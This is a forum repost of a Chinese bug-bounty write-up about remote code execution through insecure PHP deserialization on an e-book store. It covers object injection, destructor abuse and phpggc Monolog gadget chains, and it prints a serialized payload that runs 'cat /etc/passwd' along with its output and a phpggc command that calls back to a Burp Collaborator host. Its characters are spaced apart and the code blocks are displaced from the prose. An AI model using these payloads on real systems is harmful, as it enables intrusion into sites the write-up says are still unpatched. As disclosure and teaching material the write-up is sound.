搜索

[28854] 2021-04-14_【赏金猎人】通过PHP中不安全的反序列化来远程执行代码

文档创建者：s7ckTeam
浏览次数：47
最后更新：2025-01-19
2021-04-14_【赏金猎人】通过PHP中不安全的反序列化来远程执行代码 【 赏 金 猎 人 】 通 过 P H P 中 不 安 全 的 反 序 列 化 来 远 程 执 行 代 码 O t s 安 全   2 0 2 1 - 0 4 - 1 4 使 用 小 工 具 链 ， 即 使 没 有 完 整 的 源 代 码 ， 也 可 以 在 W e b 应 用 程 序 中 实 现 反 序 列 化 用 户 输 入 的 远 程 代 码 执 行 。 序 列 化 序 列 化 在 P H P 中 ， s e r i a l i z e 将 数 据 结 构 （ 例 如 数 组 或 对 象 ） 转 换 为 字 符 串 。 该 函 数 u n s e r i a l i z e 将 字 符 串 转 换 为 数 据 结 构 。 这 对 于 通 过 不 支 持 P H P 对 象 但 支 持 文 本 的 方 法 传 递 数 据 结 构 很 有 用 。 在 W e b 应 用 程 序 中 ， 通 常 用 于 将 信 息 从 一 页 传 递 到 另 一 页 。 在 这 种 情 况 下 ， 序 列 化 的 数 据 可 能 会 以 隐 藏 的 表 单 元 素 或 c o o k i e 的 形 式 出 现 。 数 据 格 式 是 P H P 自 定 义 的 。 这 是 一 个 例 子 ： 这 将 输 出 一 段 表 示 以 下 内 容 的 文 本 $ m y O b j ： 通 过 调 用 u n s e r i a l i z e 此 文 本 ， 我 们 得 到 了 原 始 对 象 。 漏 洞 漏 洞 如 果 W e b 应 用 程 序 反 序 列 化 用 户 输 入 ， 则 有 两 种 方 法 可 能 会 受 到 攻 击 。 首 先 ， u n s e r i a l i z e 功 能 非 常 复 杂 。 它 具 有 创 建 任 何 类 型 的 P H P 对 象 的 功 能 ， 从 而 绕 过 了 常 规 逻 辑 。 它 可 以 处 理 参 考 循 环 和 资 源 分 配 。 当 面 对 不 可 信 的 输 入 ， 这 是 很 难 正 确 地 这 样 做 ， 且 因 此 u n s e r i a l i z e   是   特 别   容 易 出 现   对   安 全   漏 洞 。 这 些 通 常 会 使 P H P 进 程 崩 溃 ， 并 可 能 导 致 真 正 擅 长 缓 冲 区 溢 出 和 绕 过 A S L R 的 攻 击 者 的 远 程 代 码 执 行 。 另 一 类 漏 洞 是 由 创 建 任 何 对 象 的 可 能 性 引 起 的 ， 一 旦 将 其 从 内 存 中 丢 弃 ， 就 会 对 其 调 用 析 构 函 数 。 创 建 任 意 对 象 创 建 任 意 对 象 为 了 获 得 序 列 化 的 表 示 形 式 ， 应 用 程 序 创 建 了 一 些 有 效 的 P H P 对 象 并 将 其 序 列 化 。 进 行 相 反 操 作 时 ， 文 本 表 示 形 式 将 转 换 为 P H P 对 象 。 P H P 可 以 在 不 涉 及 任 何 业 务 逻 辑 的 情 况 下 进 行 处 理 。 没 有 调 用 构 造 函 数 。 这 意 味 着 ， 如 果 我 们 控 制 文 本 表 示 ， 则 可 以 创 建 普 通 业 务 逻 辑 流 程 无 法 实 现 的 P H P 对 象 。 在 下 面 的 示 例 中 ， 我 们 将 创 建 一 个 名 为 “   a d m i n ” 的 用 户 ， 即 使 使 用 常 规 业 务 逻 辑 无 法 做 到 这 一 点 。 输 出 ： 调 用 析 构 函 数 调 用 析 构 函 数 我 们 曾 经 u n s e r i a l i z e 在 应 用 程 序 上 下 文 中 创 建 对 象 。 一 旦 应 用 程 序 不 再 需 要 此 对 象 ， 便 将 其 清 除 。 发 生 这 种 情 况 时 ， 将 调 用 析 构 函 数 。 这 意 味 着 我 们 可 以 通 过 创 建 相 应 的 对 象 来 调 用 应 用 程 序 中 的 任 何 析 构 函 数 。 由 于 我 们 自 己 创 建 了 对 象 ， 因 此 我 们 还 可 以 确 定 析 构 函 数 将 对 哪 些 数 据 进 行 操 作 。 假 设 我 们 的 用 户 类 如 下 所 示 ： < ? p h p $ m y O b j   =   n e w   s t d C l a s s ( ) ; $ m y O b j - > h e l l o   =   " w o r l d " ; e c h o   s e r i a l i z e ( $ m y O b j ) ; O : 8 : " s t d C l a s s " : 1 : { s : 5 : " h e l l o " ; s : 5 : " w o r l d " ; } c l a s s   U s e r   { f u n c t i o n   _ _ c o n s t r u c t ( $ u s e r n a m e )   { i f   ( $ u s e r n a m e   = =   " a d m i n " )   { t h r o w   n e w   I n v a l i d A r g u m e n t E x c e p t i o n ( $ u s e r n a m e ) ;                 } $ t h i s - > u s e r n a m e   =   $ u s e r n a m e ;         } } $ u   =   u n s e r i a l i z e ( ' O : 4 : " U s e r " : 1 : { s : 8 : " u s e r n a m e " ; s : 5 : " a d m i n " ; } ' ) ; v a r _ d u m p ( $ u ) ; o b j e c t ( U s e r ) # 1   ( 1 )   {     [ " u s e r n a m e " ] = > s t r i n g ( 5 )   " a d m i n " } c l a s s   U s e r   { f u n c t i o n   _ _ c o n s t r u c t ( $ u s e r n a m e )   { $ t h i s - > l o g g i n g F u n c   =   ' v a r _ d u m p ' ; i f   ( $ u s e r n a m e   = =   " a d m i n " )   { t h r o w   n e w   I n v a l i d A r g u m e n t E x c e p t i o n ( $ u s e r n a m e ) ;                 } $ t h i s - > u s e r n a m e   =   $ u s e r n a m e ;         }
一 旦 我 们 先 前 创 建 的 对 象 被 销 毁 ， 此 日 志 将 “ 管 理 员 不 见 了 ” 。 但 是 ， 考 虑 到 我 们 发 生 当 我 们 设 置 发 生 了 什 么 $ l o g g i n g F u n c 来 s y s t e m 和 $ u s e r n a m e 到 c a t   / e t c / p a s s w d ; ： 运 行 s y s t e m ( " c a t   / e t c / p a s s w d ;   i s   g o n e " ) ; 小 工 具 链 小 工 具 链 我 们 看 到 可 以 用 任 意 数 据 调 用 任 意 析 构 函 数 。 但 是 ， 通 常 我 们 不 知 道 应 用 程 序 代 码 中 存 在 哪 些 析 构 函 数 ， 而 直 接 调 用 用 户 提 供 的 函 数 的 析 构 函 数 非 常 少 见 。 要 利 用 此 漏 洞 ， 我 们 需 要 一 个 析 构 函 数 ， 我 们 知 道 该 析 构 函 数 运 行 我 们 的 有 效 负 载 。 这 就 是 常 用 项 目 中 的 小 工 具 链 出 现 的 地 方 。 即 使 我 们 没 有 应 用 程 序 源 ， 也 很 可 能 该 应 用 程 序 使 用 L a r a v e l ， S y m f o n y 或 Z e n d   F r a m e w o r k 。 它 可 能 使 用 开 源 的 第 三 方 组 件 ， 例 如 用 于 日 志 记 录 的 M o n o l o g 或 用 于 数 据 库 访 问 的 D o c t r i n e 。 由 于 这 些 组 件 是 开 源 的 ， 因 此 我 们 可 以 看 一 下 析 构 函 数 并 选 择 有 用 的 析 构 函 数 。 例 如 ， Z e n d 曾 经 有 一 个 可 以 删 除 f i l e s 的 析 构 函 数 。 这 样 有 用 的 代 码 段 称 为 小 工 具 。 有 时 ， 析 构 函 数 不 会 直 接 执 行 我 们 想 要 的 操 作 ， 但 是 我 们 必 须 结 合 几 个 步 骤 来 获 得 我 们 想 要 的 功 能 。 以 这 种 方 式 组 合 多 段 代 码 称 为 小 工 具 链 。 幸 运 的 是 ， 我 们 不 必 找 到 自 己 的 小 工 具 链 ， 并 且 有 一 个 工 具 p h p g g c 知 道 几 个 小 工 具 链 并 可 以 为 我 们 创 建 有 效 载 荷 。 示 例 链 ： 示 例 链 ： M o n o l o g   /   R C E 2 小 工 具 链 M o n o l o g   /   R C E 2 可 以 创 建 一 个 由 三 个 对 象 组 成 的 链 ： 一 个 S y s l o g U d p H a n d l e r ， 用 $ s o c k e t 那 就 是 财 产 一 个 B u f f e r H a n d l e r ， 其 $ h a n d l e r 属 性 为 另 一 个 B u f f e r H a n d l e r 。 将 B u f f e r H a n d l e r - > h a n d l e ( ) 具 有 以 下 功 能 ： 运 行 自 定 义 处 理 功 能 上 的 每 个 记 录 。 我 们 可 以 使 用 它 来 执 行 任 意 功 能 。 需 要 对 象 链 来 h a n d l e 从 析 构 函 数 调 用 该 方 法 。 S y s l o g U d p H a n d l e r c a l l 的 析 构 函 数 $ s o c k e t - > c l o s e ( ) ， 后 者 调 用 $ h a n d l e r - > h a n d l e ( ) ， 调 用 我 们 的 有 效 负 载 。 如 您 所 见 ， h a n d l e 从 析 构 函 数 中 调 用 我 们 想 要 的 数 据 已 经 很 复 杂 了 。 它 以 不 同 寻 常 的 方 式 组 合 对 象 。 通 常 ， 其 中 的 s o c k e t 属 性 S y s l o g U d p H a n d l e r 包 含 U D P 套 接 字 对 象 ， 但 是 现 在 我 们 注 入 了 另 一 种 类 型 的 对 象 。 从 P H P 内 部 创 建 这 样 的 小 工 具 链 并 不 是 一 件 容 易 的 事 。 例 如 ， S y s l o g U d p H a n d l e r - > s o c k e t 被 保 护 ， 因 此 不 可 能 从 类 外 部 设 置 此 属 性 。 将 其 更 改 为 p u b l i c 可 以 设 置 属 性 ， 但 是 以 不 兼 容 的 方 式 更 改 序 列 化 的 表 示 形 式 。 在 电 子 书 网 上 商 店 中 反 序 列 化 漏 洞 我 在 一 个 电 子 书 网 上 商 店 中 发 现 了 一 个 反 序 列 化 漏 洞 。 该 网 站 显 示 了 各 种 待 售 电 子 书 的 列 表 ， 然 后 单 击 其 中 一 本 即 可 显 示 详 细 信 息 。 详 细 信 息 页 面 的 底 部 显 示 了 以 前 查 看 过 的 图 书 的 链 接 。 这 是 通 过 发 送 P R O D U C T H I S T O R Y 包 含 序 列 化 内 容 的 c o o k i e 来 实 现 的 ， 该 c o o k i e 包 含 有 关 先 前 查 看 的 书 籍 的 信 息 。 C o o k i e 的 内 容 如 下 所 示 ： 如 您 所 见 ， 这 是 一 个 序 列 化 的 数 组 ， 带 有 一 本 书 的 缩 略 图 和 标 题 信 息 。 该 W e b 应 用 程 序 应 该 调 用 u n s e r i a l i z e 此 c o o k i e 的 内 容 ， 从 而 有 机 会 创 建 对 象 和 调 用 析 构 函 数 。 寻 找 正 确 的 有 效 载 荷 寻 找 正 确 的 有 效 载 荷 我 找 不 到 有 关 此 应 用 程 序 使 用 了 哪 些 组 件 或 框 架 的 信 息 。 我 只 是 尝 试 了 p h p g g c 的 所 有 有 效 负 载 。 对 于 大 多 数 有 效 载 荷 ， 什 么 都 没 有 发 生 。 M o n o l o g   /   R C E 1 和 M o n o l o g   /   R C E 2 都 给 出 了 5 0 0 个 内 部 服 务 器 错 误 。 我 得 出 的 结 论 是 ， 该 应 用 程 序 正 在 使 用 M o n o l o g 并 正 确 地 反 序 列 化 对 象 ， 但 其 他 地 方 出 了 问 题 。 正 确 编 码 有 效 载 荷 正 确 编 码 有 效 载 荷 尝 试 有 效 负 载 时 ， 我 使 用 p h p g g c 创 建 了 有 效 负 载 并 将 其 复 制 粘 贴 到 B u r p 中 。 这 不 能 很 好 地 工 作 ， 一 段 时 间 后 ， 我 发 现 有 效 负 载 包 含 非 A S C I I 字 符 ， 尤 其 是 空 字 节 。 复 制 粘 贴 时 这 些 消 失 了 ， 所 以 我 没 有 使 用 正 确 的 有 效 负 载 。 f u n c t i o n   _ _ d e s t r u c t ( )   {                 $ f u n c   =   $ t h i s - > l o g g i n g F u n c ;                 $ f u n c ( " $ t h i s - > u s e r n a m e   i s   g o n e " ) ;                 } } u n s e r i a l i z e ( ' O : 4 : " U s e r " : 2 : { s : 1 1 : " l o g g i n g F u n c " ; s : 6 : " s y s t e m " ; s : 8 : " u s e r n a m e " ; s : 1 6 : " c a t   / e t c / p a s s w d ; " ; } ' ) r o o t : * : 0 : 0 : S y s t e m   A d m i n i s t r a t o r : / v a r / r o o t : / b i n / s h d a e m o n : * : 1 : 1 : S y s t e m   S e r v i c e s : / v a r / r o o t : / u s r / b i n / f a l s e _ u u c p : * : 4 : 4 : U n i x   t o   U n i x   C o p y   P r o t o c o l : / v a r / s p o o l / u u c p : / u s r / s b i n / u u c i c o _ t a s k g a t e d : * : 1 3 : 1 3 : T a s k   G a t e   D a e m o n : / v a r / e m p t y : / u s r / b i n / f a l s e _ n e t w o r k d : * : 2 4 : 2 4 : N e t w o r k   S e r v i c e s : / v a r / n e t w o r k d : / u s r / b i n / f a l s e . . . a : 1 : { i : 0 ; a : 6 : { s : 5 : " i m a g e " ; s : 9 4 : " h t t p s : / / w w w . e b o o k . c l i e n t . c o m / c o n t e n t s / f u l l c o n t e n t / 7 5 1 0 3 7 9 4 / c o v e r a r t s / w i z a r d / s m a l l _ 7 5 1 0 3 7 9 4 . j p g " ; s : 4 : " n a m e " ; s : 2 7 : " d e c o r a t i n g   w i t h   i n t e r i o r " ; s : 3 : " u r l " ; s : 2 2 : " d e c o r a t i n g - i n t e r i o r " ; s : 5 : " t i t l e " ; O : 8 : " D a t e T i m e " : 3 : { s : 4 : " d a t e " ; s : 2 6 : " 2 0 2 0 - 0 6 - 3 0   1 3 : 2 1 : 0 9 . 8 7 1 2 1 3 " ; s : 1 3 : " t i m e z o n e _ t y p e " ; i : 3 ; s : 8 : " t i m e z o n e " ; s : 3 : " U T C " ; } ; s : 8 : " s u b t i t l e " ; s : 0 : " " ; s : 9 : " p r o d u c t i d " ; s : 2 : " 1 7 " ; } }
我 下 载 了 M o n o l o g ， 因 此 可 以 在 本 地 尝 试 各 种 有 效 负 载 。 在 执 行 此 操 作 时 ， 我 发 现 看 起 来 相 同 的 有 效 负 载 具 有 不 同 的 行 为 ， 这 使 我 想 到 了 有 效 负 载 中 可 能 存 在 不 可 见 的 字 符 。 我 的 解 决 方 案 是 创 建 一 个 脚 本 ， 对 脚 本 进 行 u r l e n c o d e s 并 将 其 直 接 输 出 到 u r l e n c o d e 并 粘 贴 到 剪 贴 板 上 ： 从 那 时 起 ， 我 了 解 到 p h p g g c 具 有 执 行 编 码 的 标 志 ： 使 用 正 确 的 有 效 载 荷 使 用 正 确 的 有 效 载 荷 小 工 具 链 带 有 一 个 函 数 名 称 和 一 个 参 数 。 我 首 先 尝 试 d i e ( " h e l l o " ) 进 行 快 速 测 试 。 但 是 ， 这 是 行 不 通 的 ， 因 为 d i e 它 是 语 言 构 造 ， 而 不 是 函 数 。 这 给 了 我 一 个 错 误 的 印 象 ， 即 我 不 会 从 有 效 负 载 中 接 收 任 何 输 出 ， 因 此 我 尝 试 了 盲 目 的 有 效 负 载 。 从 B u r p 合 作 者 检 索 U R L 会 通 知 我 ， 我 的 有 效 载 荷 已 执 行 ， 而 服 务 器 没 有 任 何 输 出 ： 我 将 其 粘 贴 到 P R O D U C T H I S T O R Y c o o k i e 中 ， 发 送 了 请 求 ， 并 在 C o l l a b o r a t o r 客 户 端 上 获 得 了 活 动 ： 有 效 ！ 检 索 到 U R L ， 表 明 有 效 负 载 已 执 行 。 结 论 结 论 我 学 到 了 几 件 事 ： 即 使 攻 击 者 无 法 访 问 源 代 码 ， 反 序 列 化 也 可 能 导 致 R C E 。 反 序 列 化 的 有 效 载 荷 包 含 非 A S C I I 字 节 ， 需 要 正 确 进 行 转 义 。 无 法 信 任 粘 贴 复 制 才 能 正 确 传 输 所 有 内 容 。 查 找 和 创 建 自 己 的 小 工 具 链 非 常 困 难 ， 但 是 幸 运 的 是 ， 有 一 个 很 好 的 工 具 可 以 为 您 完 成 此 任 务 。 我 将 此 问 题 报 告 给 了 电 子 书 商 店 的 所 有 者 。 他 们 使 网 站 离 线 ， 并 悬 赏 给 我 。 但 是 ， 其 他 电 子 书 网 上 商 店 使 用 的 是 同 一 软 件 ， 并 且 该 漏 洞 在 至 少 十 个 运 行 同 一 软 件 的 其 他 站 点 上 仍 然 处 于 打 开 状 态 。 阅 读 更 多 阅 读 更 多 通 过 P H P   U n s e r i a l i z e 远 程 执 行 代 码 h t t p s : / / n o t s o s e c u r e . c o m / r e m o t e - c o d e - e x e c u t i o n - v i a - p h p - u n s e r i a l i z e / 不 安 全 的 反 序 列 化 - 如 何 追 踪 小 工 具 链 h t t p s : / / b l o g . r e d t e a m - p e n t e s t i n g . d e / 2 0 2 1 / d e s e r i a l i z a t i o n - g a d g e t - c h a i n / $   p h p g g c   M o n o l o g / R C E 1   a   b   |   u r l e n c o d e   |   p b c o p y E N C O D I N G     - s ,   - - s o f t       S o f t   U R L e n c o d e     - u ,   - - u r l         U R L e n c o d e s   t h e   p a y l o a d     - b ,   - - b a s e 6 4   C o n v e r t s   t h e   o u t p u t   i n t o   b a s e 6 4     - j ,   - - j s o n       C o n v e r t s   t h e   o u t p u t   i n t o   j s o n     E n c o d e r s   c a n   b e   c h a i n e d ,   f o r   i n s t a n c e   - b   - u   - u   b a s e 6 4 s   t h e   p a y l o a d ,     t h e n   U R L e n c o d e s   i t   t w i c e $   p h p g g c   M o n o l o g / R C E 1   f i l e _ g e t _ c o n t e n t s   " h t t p : / / j n a 5 h w 1 z y p d o m b b 2 g y s m 5 0 s d s 4 y v m k . b u r p c o l l a b o r a t o r . n e t / r c e "   |   u r l e n c o d e |   p b c o p y
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理